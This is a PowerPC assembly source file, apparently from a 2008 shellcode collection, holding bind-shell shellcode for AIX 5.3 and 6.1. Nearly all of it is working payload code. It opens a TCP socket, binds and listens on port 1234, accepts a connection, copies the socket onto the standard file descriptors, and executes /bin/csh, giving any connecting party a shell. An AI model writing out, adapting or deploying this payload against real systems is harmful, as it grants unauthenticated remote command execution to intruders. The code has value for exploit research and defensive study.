141 lines
3.0 KiB
ArmAsm
141 lines
3.0 KiB
ArmAsm
/*
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* aix-power-bndsockcode.S
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* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
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*
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* This library is free software; you can redistribute it and/or
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* modify it under the terms of the GNU Lesser General Public
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* License as published by the Free Software Foundation; either
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* version 2.1 of the License, or (at your option) any later version.
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*
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* This library is distributed in the hope that it will be useful,
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* but WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
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* Lesser General Public License for more details.
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*
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* You should have received a copy of the GNU Lesser General Public
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* License along with this library; if not, write to the Free Software
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* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
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*
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*/
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/*
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* Supported AIX versions:
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*
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* -DAIX614 AIX Version 6.1.4
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* -DAIX613 AIX Version 6.1.3
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* -DAIX612 AIX Version 6.1.2
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* -DAIX611 AIX Version 6.1.1
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* -DAIX5310 AIX Version 5.3.10
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* -DAIX539 AIX Version 5.3.9
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* -DAIX538 AIX Version 5.3.8
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* -DAIX537 AIX Version 5.3.7
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*
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*/
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#include "aix-power.h"
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.globl .main
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.csect .text[PR]
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.main:
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syscallcode:
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xor. %r31,%r31,%r31
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bnel syscallcode
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mflr %r30
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cal %r30,511(%r30)
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cal %r30,-511+28(%r30)
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mtctr %r30
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bctr
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crorc %cr6,%cr6,%cr6
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.long 0x44ffff02
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cal %r30,-8(%r30)
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bndsockcode:
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lil %r29,__CAL
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# socket
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xor %r5,%r5,%r5
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cal %r4,-__CAL+1(%r29)
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cal %r3,-__CAL+2(%r29)
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cal %r2,__NC_socket(%r29)
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mtctr %r30
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bctrl
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mr %r28,%r3
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# bind
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cal %r5,-__CAL+16(%r29)
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liu %r27,0xff02
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oril %r27,%r27,0x04d2
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stu %r31,-4(%r1)
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stu %r27,-4(%r1)
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mr %r4,%r1
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cal %r2,__NC_bind(%r29)
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mtctr %r30
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bctrl
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# listen
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xor %r4,%r4,%r4
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mr %r3,%r28
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cal %r2,__NC_listen(%r29)
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mtctr %r30
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bctrl
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# accept
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xor %r5,%r5,%r5
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xor %r4,%r4,%r4
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mr %r3,%r28
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cal %r2,__NC_accept(%r29)
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mtctr %r30
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bctrl
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mr %r26,%r3
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# close
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cal %r25,-__CAL+2(%r29)
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0:
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mr %r3,%r25
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cal %r2,__NC_close(%r29)
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mtctr %r30
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bctrl
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# kfcntl
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mr %r5,%r25
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xor %r4,%r4,%r4
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mr %r3,%r26
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cal %r2,__NC_kfcntl(%r29)
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mtctr %r30
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bctrl
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ai. %r25,%r25,-1
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bge 0b
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shellcode:
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# lil %r29,__CAL
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xor. %r5,%r5,%r5
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bnel shellcode
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# mflr %r30
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# cal %r30,511(%r30)
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# cal %r3,-511+40(%r30)
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# stb %r5,-511+48(%r30)
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mflr %r24
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cal %r24,511(%r24)
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cal %r3,-511+40(%r24)
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stb %r5,-511+48(%r24)
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stu %r5,-4(%r1)
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stu %r3,-4(%r1)
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mr %r4,%r1
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cal %r2,__NC_execve(%r29)
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# crorc %cr6,%cr6,%cr6
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# .long 0x44ffff02
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mtctr %r30
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bctrl
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.asciz "/bin/csh"
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